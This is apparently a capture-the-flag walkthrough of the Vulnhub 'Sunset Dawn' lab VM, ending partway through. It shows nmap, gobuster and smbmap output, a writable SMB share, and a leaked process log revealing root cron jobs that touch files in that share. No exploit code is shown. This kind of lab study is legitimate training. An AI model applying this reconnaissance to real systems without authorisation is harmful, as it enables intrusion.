

Vulnhub - Sunset Dawn

Allexus Constantino

2021-11-25

Contents

Enumeration	3
NMAP	3
Top 1000 Ports	3
All TCP Ports	4
GOBUSTER	5
http://192.168.0.100 (common.txt)	5
SMBMAP	5
Gaining Access	6
Privilege Escalation	15

Enumeration

NMAP

Top 1000 Ports

```
1 # Nmap 7.92 scan initiated Thu Nov 25 23:17:11 2021 as: nmap -sC -sV -  
  oN nmap/1k-tcp -vv -n -T5 192.168.0.100  
2 Nmap scan report for 192.168.0.100  
3 Host is up, received arp-response (0.25s latency).  
4 Scanned at 2021-11-25 23:17:12 PST for 14s  
5 Not shown: 996 closed tcp ports (reset)  
6 PORT      STATE SERVICE      REASON        VERSION  
7 80/tcp    open  http         syn-ack ttl 64 Apache httpd 2.4.38 ((Debian)  
8 )  
9 |_http-server-header: Apache/2.4.38 (Debian)  
10 |_ http-methods:  
11 |_ Supported Methods: HEAD GET POST OPTIONS  
12 |_http-title: Site doesn't have a title (text/html).  
13 139/tcp   open  netbios-ssn  syn-ack ttl 64 Samba smbd 3.X - 4.X (  
14   workgroup: WORKGROUP)  
15 445/tcp   open  netbios-ssn  syn-ack ttl 64 Samba smbd 4.9.5-Debian (  
16   workgroup: WORKGROUP)  
17 3306/tcp  open  mysql        syn-ack ttl 64 MySQL 5.5.5-10.3.15-MariaDB-1  
18 |_ mysql-info:  
19 |   Protocol: 10  
20 |   Version: 5.5.5-10.3.15-MariaDB-1  
21 |   Thread ID: 12  
22 |   Capabilities flags: 63486  
23 |   Some Capabilities: Support41Auth, FoundRows, Speaks41ProtocolOld,  
24 |   DontAllowDatabaseTableColumn, SupportsTransactions, LongColumnFlag,  
25 |   ConnectWithDatabase, SupportsLoadDataLocal, IgnoreSigpipes,  
26 |   ODBCClient, Speaks41ProtocolNew, SupportsCompression,  
   InteractiveClient, IgnoreSpaceBeforeParenthesis,  
   SupportsMultipleStatments, SupportsAuthPlugins,  
   SupportsMultipleResults  
27 |   Status: Autocommit  
28 |   Salt: uh+;%I!gb96@}ygu;aXu  
29 |_ Auth Plugin Name: mysql_native_password  
30 MAC Address: 08:00:27:DA:40:4B (Oracle VirtualBox virtual NIC)  
31 Service Info: Host: DAWN  
32
```

```
27 Host script results:
28 | smb2-security-mode:
29 |   3.1.1:
30 | _   Message signing enabled but not required
31 | _clock-skew: mean: -6h19m59s, deviation: 2h53m12s, median: -7h59m59s
32 | nbstat: NetBIOS name: DAWN, NetBIOS user: <unknown>, NetBIOS MAC: <
    | unknown> (unknown)
33 | Names:
34 |   DAWN<00>           Flags: <unique><active>
35 |   DAWN<03>           Flags: <unique><active>
36 |   DAWN<20>           Flags: <unique><active>
37 |   \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
38 |   WORKGROUP<00>      Flags: <group><active>
39 |   WORKGROUP<1d>      Flags: <unique><active>
40 |   WORKGROUP<1e>      Flags: <group><active>
41 | Statistics:
42 |   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
43 |   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
44 | _ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
45 | p2p-conficker:
46 |   Checking for Conficker.C or higher...
47 |   Check 1 (port 64424/tcp): CLEAN (Couldn't connect)
48 |   Check 2 (port 25483/tcp): CLEAN (Couldn't connect)
49 |   Check 3 (port 18652/udp): CLEAN (Failed to receive data)
50 |   Check 4 (port 45462/udp): CLEAN (Failed to receive data)
51 | _ 0/4 checks are positive: Host is CLEAN or ports are blocked
52 | smb2-time:
53 |   date: 2021-11-25T07:17:27
54 | _ start_date: N/A
55 | smb-security-mode:
56 |   account_used: guest
57 |   authentication_level: user
58 |   challenge_response: supported
59 | _ message_signing: disabled (dangerous, but default)
60 | smb-os-discovery:
61 |   OS: Windows 6.1 (Samba 4.9.5-Debian)
62 |   Computer name: dawn
63 |   NetBIOS computer name: DAWN\x00
64 |   Domain name: dawn
65 |   FQDN: dawn.dawn
66 | _ System time: 2021-11-25T02:17:27-05:00
67
68 Read data files from: /usr/bin/./share/nmap
69 Service detection performed. Please report any incorrect results at
    | https://nmap.org/submit/ .
70 # Nmap done at Thu Nov 25 23:17:26 2021 -- 1 IP address (1 host up)
    | scanned in 15.00 seconds
```

All TCP Ports

```

1 # Nmap 7.92 scan initiated Thu Nov 25 23:21:19 2021 as: nmap -p- -oN
  nmap/all-tcp -vv -n -T5 192.168.0.100
2 Warning: 192.168.0.100 giving up on port because retransmission cap hit
  (2).
3 Nmap scan report for 192.168.0.100
4 Host is up, received arp-response (0.10s latency).
5 Scanned at 2021-11-25 23:21:19 PST for 165s
6 Not shown: 65531 closed tcp ports (reset)
7 PORT      STATE SERVICE      REASON
8 80/tcp    open  http         syn-ack ttl 64
9 139/tcp   open  netbios-ssn  syn-ack ttl 64
10 445/tcp   open  microsoft-ds syn-ack ttl 64
11 3306/tcp  open  mysql        syn-ack ttl 64
12 MAC Address: 08:00:27:DA:40:4B (Oracle VirtualBox virtual NIC)
13
14 Read data files from: /usr/bin/./share/nmap
15 # Nmap done at Thu Nov 25 23:24:04 2021 -- 1 IP address (1 host up)
    scanned in 165.06 seconds

```

GOBUSTER

http://192.168.0.100 (common.txt)

```

1 /.htaccess      (Status: 403) [Size: 297]
2 /.hta           (Status: 403) [Size: 292]
3 /.htpasswd      (Status: 403) [Size: 297]
4 /index.html     (Status: 200) [Size: 791]
5 /logs           (Status: 301) [Size: 313] [--> http://
  192.168.0.100/logs/]
6 /server-status (Status: 403) [Size: 301]

```

SMBMAP

In here, we will see that we have both **read** and **write** access to the **ITDEPT** share

```

1 [+] IP: 192.168.0.100:445      Name: 192.168.0.100
2      Disk
3      Permissions      Comment
4      print$           NO
5      ITDEPT           READ,
      WRITE      PLEASE DO NOT REMOVE THIS SHARE. IN CASE YOU ARE
      NOT AUTHORIZED TO USE THIS SYSTEM LEAVE IMMEDIATELY.

```

6	IPC\$ ACCESS	IPC Service (Samba 4.9.5-Debian)	NO
---	-----------------	----------------------------------	----

Gaining Access

Navigating to **/logs**, we will find a couple of log files but only one of them is downloadable and that is **management.log**

Viewing **management.log**, we will see a couple of processes:

```

1 Config: Printing events (colored=true): processes=true | file-system-
  events=false ||| Scanning for processes every 100ms and on inotify
  events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (
  recursive) | [] (non-recursive)
2 Draining file system events due to startup...
3 done
4 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=96      | [0m
5 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=9       | [0m
6 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=8       | [0m
7 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=7       | [0m
8 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=6       | [0m
9 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=58      | [0m
10 2021/11/25 10:15:03 [31;1mCMD: UID=33     PID=553     | /usr/sbin/apache2
    -k start [0m
11 2021/11/25 10:15:03 [31;1mCMD: UID=33     PID=552     | /usr/sbin/apache2
    -k start [0m
12 2021/11/25 10:15:03 [31;1mCMD: UID=33     PID=551     | /usr/sbin/apache2
    -k start [0m
13 2021/11/25 10:15:03 [31;1mCMD: UID=33     PID=550     | /usr/sbin/apache2
    -k start [0m
14 2021/11/25 10:15:03 [31;1mCMD: UID=33     PID=549     | /usr/sbin/apache2
    -k start [0m
15 2021/11/25 10:15:03 [31;1mCMD: UID=112    PID=538     | /usr/sbin/mysqld
    [0m
16 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=532     | /usr/sbin/apache2
    -k start [0m
17 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=5       | [0m
18 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=49      | [0m
19 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=48      | [0m
20 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=47      | [0m
21 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=447     | (agetty) [0m
22 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=433     | /usr/sbin/nmbd --
    foreground --no-process-group [0m
23 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=430     | /root/pspy64 [0m
24 2021/11/25 10:15:03 [31;1mCMD: UID=0      PID=421     | /bin/sh -c /root/
    pspy64 > /var/www/html/logs/management.log [0m

```


25	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=419	/usr/sbin/cups-
		browsed [0m		
26	2021/11/25 10:15:03	[31;1mCMD: UID=107	PID=413	avahi-daemon:
		chroot helper [0m		
27	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=403	/usr/sbin/CRON -f
		[0m		
28	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=4	[0m
29	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=385	/usr/sbin/cron -f
		[0m		
30	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=381	/lib/systemd/
		systemd-logind [0m		
31	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=380	/sbin/dhclient -4
		-v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3		
		.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3 [0m		
32	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=371	/usr/sbin/rsyslogd
		-n -iNONE [0m		
33	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=370	/usr/sbin/cupsd -l
		[0m		
34	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=360	/sbin/
		wpa_supplicant -u -s -O /run/wpa_supplicant [0m		
35	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=357	/sbin/dhclient -4
		-v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3		
		.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3 [0m		
36	2021/11/25 10:15:03	[31;1mCMD: UID=104	PID=353	/usr/bin/dbus-
		daemon --system --address=systemd: --nofork --nospidfile --systemd-		
		activation --syslog-only [0m		
37	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=352	/bin/sh -c /sbin/
		dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/		
		dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases		
		enp0s3 [0m		
38	2021/11/25 10:15:03	[31;1mCMD: UID=107	PID=348	avahi-daemon:
		running [dawn.local] [0m		
39	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=312	ifup --allow=
		hotplug enp0s3 [0m		
40	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=310	/bin/sh -ec ifup
		--allow=hotplug enp0s3; ifquery --state enp0s3 [0m		
41	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=308	[0m
42	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=307	[0m
43	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=3	[0m
44	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=29	[0m
45	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=28	[0m
46	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=27	[0m
47	2021/11/25 10:15:03	[31;1mCMD: UID=101	PID=262	/lib/systemd/
		systemd-timesyncd [0m		
48	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=26	[0m
49	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=25	[0m
50	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=240	/lib/systemd/
		systemd-udevd [0m		
51	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=24	[0m
52	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=23	[0m
53	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=22	[0m

54	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=218	/lib/systemd/
		systemd-journald [0m		
55	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=21	[0m
56	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=20	[0m
57	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=2	[0m
58	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=19	[0m
59	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=187	[0m
60	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=186	[0m
61	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=184	[0m
62	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=18	[0m
63	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=17	[0m
64	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=16	[0m
65	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=157	[0m
66	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=154	[0m
67	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=152	[0m
68	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=15	[0m
69	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=14	[0m
70	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=13	[0m
71	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=124	[0m
72	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=122	[0m
73	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=120	[0m
74	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=12	[0m
75	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=117	[0m
76	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=116	[0m
77	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=114	[0m
78	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=112	[0m
79	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=110	[0m
80	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=11	[0m
81	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=108	[0m
82	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=105	[0m
83	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=10	[0m
84	2021/11/25 10:15:03	[31;1mCMD: UID=0	PID=1	/sbin/init [0m
85	2021/11/25 10:15:04	[31;1mCMD: UID=0	PID=627	/sbin/dhclient -4
		-v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3		
		.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3 [0m		
86	2021/11/25 10:15:04	[31;1mCMD: UID=0	PID=628	/bin/sh /sbin/
		dhclient-script [0m		
87	2021/11/25 10:15:04	[31;1mCMD: UID=0	PID=629	/bin/sh /sbin/
		dhclient-script [0m		
88	2021/11/25 10:15:04	[31;1mCMD: UID=0	PID=630	/bin/sh /sbin/
		dhclient-script [0m		
89	2021/11/25 10:15:04	[31;1mCMD: UID=0	PID=631	/bin/sh /sbin/
		dhclient-script [0m		
90	2021/11/25 10:15:04	[31;1mCMD: UID=0	PID=634	/bin/sh /sbin/
		dhclient-script [0m		
91	2021/11/25 10:15:04	[31;1mCMD: UID=0	PID=635	/bin/sh /sbin/
		dhclient-script [0m		
92	2021/11/25 10:15:04	[31;1mCMD: UID=0	PID=636	/bin/sh /sbin/
		dhclient-script [0m		
93	2021/11/25 10:15:04	[31;1mCMD: UID=0	PID=637	/bin/sh /sbin/
		dhclient-script [0m		


```

94 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=638      | /bin/sh /sbin/
    dhclient-script [0m
95 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=639      | /bin/sh /sbin/
    dhclient-script [0m
96 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=640      | /bin/sh /sbin/
    dhclient-script [0m
97 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=641      | /bin/sh /sbin/
    dhclient-script [0m
98 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=642      | ifup --allow=
    hotplug enp0s3 [0m
99 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=643      | /bin/sh -c /bin/
    run-parts --exit-on-error /etc/network/if-up.d [0m
100 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=644      | /bin/run-parts --
    exit-on-error /etc/network/if-up.d [0m
101 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=646      | /bin/sh /etc/
    network/if-up.d/avahi-autoipd [0m
102 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=645      | /bin/sh /etc/
    network/if-up.d/avahi-autoipd [0m
103 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=647      | /bin/sh /etc/
    network/if-up.d/avahi-autoipd [0m
104 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=648      | /bin/run-parts --
    exit-on-error /etc/network/if-up.d [0m
105 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=649      | /bin/sh /usr/lib/
    avahi/avahi-daemon-check-dns.sh [0m
106 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=650      | /bin/sh /usr/lib/
    avahi/avahi-daemon-check-dns.sh [0m
107 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=651      | /bin/sh /usr/lib/
    avahi/avahi-daemon-check-dns.sh [0m
108 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=652      | /bin/sh /usr/lib/
    avahi/avahi-daemon-check-dns.sh [0m
109 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=655      | /bin/sh /usr/lib/
    avahi/avahi-daemon-check-dns.sh [0m
110 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=658      | /bin/sh /usr/lib/
    avahi/avahi-daemon-check-dns.sh [0m
111 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=657      | /bin/sh /usr/lib/
    avahi/avahi-daemon-check-dns.sh [0m
112 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=656      | /bin/sh /usr/lib/
    avahi/avahi-daemon-check-dns.sh [0m
113 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=659      | /bin/sh /usr/lib/
    avahi/avahi-daemon-check-dns.sh [0m
114 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=660      | /bin/sh /usr/lib/
    avahi/avahi-daemon-check-dns.sh [0m
115 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=664      | /bin/sh /usr/lib/
    avahi/avahi-daemon-check-dns.sh [0m
116 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=665      | /bin/run-parts --
    exit-on-error /etc/network/if-up.d [0m
117 2021/11/25 10:15:04 [31;1mCMD: UID=0      PID=668      | /bin/sh -ec ifup
    --allow=hotplug enp0s3; ifquery --state enp0s3 [0m
118 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=671      | /sbin/init [0m
119 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=670      | /lib/systemd/
    systemd-udevd [0m

```

```

120 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=669      | /lib/systemd/
    systemd-udevd [0m
121 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=672      | /bin/bash /usr/
    share/samba/update-apparmor-samba-profile [0m
122 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=673      | /bin/bash /usr/
    share/samba/update-apparmor-samba-profile [0m
123 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=674      | /bin/bash /usr/
    share/samba/update-apparmor-samba-profile [0m
124 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=675      | /sbin/init [0m
125 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=676      | /usr/sbin/smbd --
    foreground --no-process-group [0m
126 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=678      | /usr/sbin/smbd --
    foreground --no-process-group [0m
127 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=677      | /usr/sbin/smbd --
    foreground --no-process-group [0m
128 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=680      | /usr/sbin/smbd --
    foreground --no-process-group [0m
129 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=679      | /lib/systemd/
    systemd-update-utmp runlevel [0m
130 2021/11/25 10:15:05 [31;1mCMD: UID=0      PID=681      | /usr/sbin/smbd --
    foreground --no-process-group [0m
131 2021/11/25 10:15:25 [31;1mCMD: UID=0      PID=684      | /lib/systemd/
    systemd-udevd [0m
132 2021/11/25 10:15:25 [31;1mCMD: UID=0      PID=683      | /lib/systemd/
    systemd-udevd [0m
133 2021/11/25 02:15:48 [31;1mCMD: UID=0      PID=687      | /lib/systemd/
    systemd-udevd [0m
134 2021/11/25 02:15:48 [31;1mCMD: UID=0      PID=686      | /lib/systemd/
    systemd-udevd [0m
135 2021/11/25 02:16:04 [31;1mCMD: UID=0      PID=692      | /usr/sbin/CRON -f
    [0m
136 2021/11/25 02:16:04 [31;1mCMD: UID=0      PID=691      | /usr/sbin/cron -f
    [0m
137 2021/11/25 02:16:04 [31;1mCMD: UID=0      PID=690      | /usr/sbin/cron -f
    [0m
138 2021/11/25 02:16:04 [31;1mCMD: UID=0      PID=689      | /usr/sbin/cron -f
    [0m
139 2021/11/25 02:16:04 [31;1mCMD: UID=0      PID=688      | /usr/sbin/cron -f
    [0m
140 2021/11/25 02:16:04 [31;1mCMD: UID=0      PID=693      | /usr/sbin/CRON -f
    [0m
141 2021/11/25 02:16:04 [31;1mCMD: UID=0      PID=695      | /usr/sbin/CRON -f
    [0m
142 2021/11/25 02:16:04 [31;1mCMD: UID=0      PID=694      | /usr/sbin/CRON -f
    [0m
143 2021/11/25 02:16:04 [31;1mCMD: UID=0      PID=701      | /bin/sh -c /home/
    ganimedes/phobos [0m
144 2021/11/25 02:16:04 [31;1mCMD: UID=0      PID=700      | /bin/sh -c chmod
    777 /home/dawn/ITDEPT/product-control [0m
145 2021/11/25 02:16:04 [31;1mCMD: UID=0      PID=699      | /usr/sbin/CRON -f
    [0m

```

146	2021/11/25 02:16:04	[31;1mCMD: UID=0	PID=696	/bin/sh -c /home/
		ganimedes/phobos [0m		
147	2021/11/25 02:16:08	[31;1mCMD: UID=0	PID=704	/lib/systemd/
		systemd-udevd [0m		
148	2021/11/25 02:16:08	[31;1mCMD: UID=0	PID=703	/lib/systemd/
		systemd-udevd [0m		
149	2021/11/25 02:16:28	[31;1mCMD: UID=0	PID=706	/lib/systemd/
		systemd-udevd [0m		
150	2021/11/25 02:16:28	[31;1mCMD: UID=0	PID=705	/lib/systemd/
		systemd-udevd [0m		
151	2021/11/25 02:16:48	[31;1mCMD: UID=0	PID=708	/lib/systemd/
		systemd-udevd [0m		
152	2021/11/25 02:16:48	[31;1mCMD: UID=0	PID=707	/lib/systemd/
		systemd-udevd [0m		
153	2021/11/25 02:17:01	[31;1mCMD: UID=0	PID=714	/usr/sbin/CRON -f
		[0m		
154	2021/11/25 02:17:01	[31;1mCMD: UID=0	PID=713	/usr/sbin/CRON -f
		[0m		
155	2021/11/25 02:17:01	[31;1mCMD: UID=0	PID=712	/usr/sbin/cron -f
		[0m		
156	2021/11/25 02:17:01	[31;1mCMD: UID=0	PID=711	/usr/sbin/cron -f
		[0m		
157	2021/11/25 02:17:01	[31;1mCMD: UID=0	PID=710	/usr/sbin/cron -f
		[0m		
158	2021/11/25 02:17:01	[31;1mCMD: UID=0	PID=709	/usr/sbin/cron -f
		[0m		
159	2021/11/25 02:17:08	[31;1mCMD: UID=0	PID=728	/lib/systemd/
		systemd-udevd [0m		
160	2021/11/25 02:17:08	[31;1mCMD: UID=0	PID=727	/lib/systemd/
		systemd-udevd [0m		
161	2021/11/25 02:17:15	[31;1mCMD: UID=0	PID=730	/usr/sbin/smbd --
		foreground --no-process-group [0m		
162	2021/11/25 02:17:15	[31;1mCMD: UID=0	PID=729	/usr/sbin/smbd --
		foreground --no-process-group [0m		
163	2021/11/25 02:17:26	[31;1mCMD: UID=0	PID=731	/usr/sbin/smbd --
		foreground --no-process-group [0m		
164	2021/11/25 02:17:27	[31;1mCMD: UID=0	PID=733	/usr/sbin/smbd --
		foreground --no-process-group [0m		
165	2021/11/25 02:17:27	[31;1mCMD: UID=0	PID=735	/usr/sbin/smbd --
		foreground --no-process-group [0m		
166	2021/11/25 02:17:27	[31;1mCMD: UID=0	PID=734	/usr/sbin/smbd --
		foreground --no-process-group [0m		
167	2021/11/25 02:17:27	[31;1mCMD: UID=0	PID=737	/usr/sbin/smbd --
		foreground --no-process-group [0m		
168	2021/11/25 02:17:27	[31;1mCMD: UID=0	PID=736	/usr/sbin/smbd --
		foreground --no-process-group [0m		
169	2021/11/25 02:17:27	[31;1mCMD: UID=0	PID=738	/usr/sbin/apache2
		-k start [0m		
170	2021/11/25 02:17:27	[31;1mCMD: UID=0	PID=739	/usr/sbin/smbd --
		foreground --no-process-group [0m		
171	2021/11/25 02:17:27	[31;1mCMD: UID=0	PID=740	/usr/sbin/smbd --

	foreground --no-process-group [0m			
172	2021/11/25 02:17:27 [31;1mCMD: UID=0	PID=741		/usr/sbin/smbd --
	foreground --no-process-group [0m			
173	2021/11/25 02:17:28 [31;1mCMD: UID=0	PID=744		/lib/systemd/
	systemd-udevd [0m			
174	2021/11/25 02:17:28 [31;1mCMD: UID=0	PID=743		/lib/systemd/
	systemd-udevd [0m			
175	2021/11/25 02:17:48 [31;1mCMD: UID=0	PID=746		/lib/systemd/
	systemd-udevd [0m			
176	2021/11/25 02:17:48 [31;1mCMD: UID=0	PID=745		/lib/systemd/
	systemd-udevd [0m			
177	2021/11/25 02:18:01 [31;1mCMD: UID=0	PID=751		/usr/sbin/CRON -f
	[0m			
178	2021/11/25 02:18:01 [31;1mCMD: UID=0	PID=750		/usr/sbin/CRON -f
	[0m			
179	2021/11/25 02:18:01 [31;1mCMD: UID=0	PID=749		/usr/sbin/cron -f
	[0m			
180	2021/11/25 02:18:01 [31;1mCMD: UID=0	PID=748		/usr/sbin/cron -f
	[0m			
181	2021/11/25 02:18:01 [31;1mCMD: UID=0	PID=747		/usr/sbin/cron -f
	[0m			
182	2021/11/25 02:18:01 [31;1mCMD: UID=0	PID=754		/usr/sbin/CRON -f
	[0m			
183	2021/11/25 02:18:01 [31;1mCMD: UID=0	PID=753		/usr/sbin/CRON -f
	[0m			
184	2021/11/25 02:18:01 [31;1mCMD: UID=0	PID=752		/usr/sbin/CRON -f
	[0m			
185	2021/11/25 02:18:01 [31;1mCMD: UID=0	PID=757		/bin/sh -c chmod
	777 /home/dawn/ITDEPT/product-control [0m			
186	2021/11/25 02:18:01 [31;1mCMD: UID=0	PID=756		/bin/sh -c /home/
	ganimedes/phobos [0m			
187	2021/11/25 02:18:01 [31;1mCMD: UID=0	PID=755		/usr/sbin/CRON -f
	[0m			
188	2021/11/25 02:18:01 [31;1mCMD: UID=0	PID=760		/usr/sbin/CRON -f
	[0m			
189	2021/11/25 02:18:08 [31;1mCMD: UID=0	PID=763		/lib/systemd/
	systemd-udevd [0m			
190	2021/11/25 02:18:08 [31;1mCMD: UID=0	PID=762		/lib/systemd/
	systemd-udevd [0m			
191	2021/11/25 02:18:28 [31;1mCMD: UID=0	PID=765		/lib/systemd/
	systemd-udevd [0m			
192	2021/11/25 02:18:28 [31;1mCMD: UID=0	PID=764		/lib/systemd/
	systemd-udevd [0m			
193	2021/11/25 02:18:48 [31;1mCMD: UID=0	PID=767		/lib/systemd/
	systemd-udevd [0m			
194	2021/11/25 02:18:48 [31;1mCMD: UID=0	PID=766		/lib/systemd/
	systemd-udevd [0m			
195	2021/11/25 02:18:54 [31;1mCMD: UID=0	PID=768		/usr/sbin/smbd --
	foreground --no-process-group [0m			
196	2021/11/25 02:18:54 [31;1mCMD: UID=0	PID=769		/usr/sbin/smbd --
	foreground --no-process-group [0m			

197	2021/11/25 02:19:01	[31;1mCMD: UID=0	PID=774	/usr/sbin/CRON -f
	[0m			
198	2021/11/25 02:19:01	[31;1mCMD: UID=0	PID=773	/usr/sbin/CRON -f
	[0m			
199	2021/11/25 02:19:01	[31;1mCMD: UID=0	PID=772	/usr/sbin/cron -f
	[0m			
200	2021/11/25 02:19:01	[31;1mCMD: UID=0	PID=771	/usr/sbin/cron -f
	[0m			
201	2021/11/25 02:19:01	[31;1mCMD: UID=0	PID=770	/usr/sbin/cron -f
	[0m			
202	2021/11/25 02:19:01	[31;1mCMD: UID=0	PID=777	/usr/sbin/CRON -f
	[0m			
203	2021/11/25 02:19:01	[31;1mCMD: UID=0	PID=776	/usr/sbin/CRON -f
	[0m			
204	2021/11/25 02:19:01	[31;1mCMD: UID=0	PID=775	/usr/sbin/CRON -f
	[0m			
205	2021/11/25 02:19:09	[31;1mCMD: UID=0	PID=786	/lib/systemd/
	systemd-udevd [0m			
206	2021/11/25 02:19:09	[31;1mCMD: UID=0	PID=785	/lib/systemd/
	systemd-udevd [0m			
207	2021/11/25 02:19:29	[31;1mCMD: UID=0	PID=788	/lib/systemd/
	systemd-udevd [0m			
208	2021/11/25 02:19:29	[31;1mCMD: UID=0	PID=787	/lib/systemd/
	systemd-udevd [0m			
209	2021/11/25 02:19:49	[31;1mCMD: UID=0	PID=790	/lib/systemd/
	systemd-udevd [0m			
210	2021/11/25 02:19:49	[31;1mCMD: UID=0	PID=789	/lib/systemd/
	systemd-udevd [0m			
211	2021/11/25 02:20:01	[31;1mCMD: UID=0	PID=795	/usr/sbin/CRON -f
	[0m			
212	2021/11/25 02:20:01	[31;1mCMD: UID=0	PID=794	/usr/sbin/cron -f
	[0m			
213	2021/11/25 02:20:01	[31;1mCMD: UID=0	PID=793	/usr/sbin/cron -f
	[0m			
214	2021/11/25 02:20:01	[31;1mCMD: UID=0	PID=792	/usr/sbin/cron -f
	[0m			
215	2021/11/25 02:20:01	[31;1mCMD: UID=0	PID=791	/usr/sbin/cron -f
	[0m			
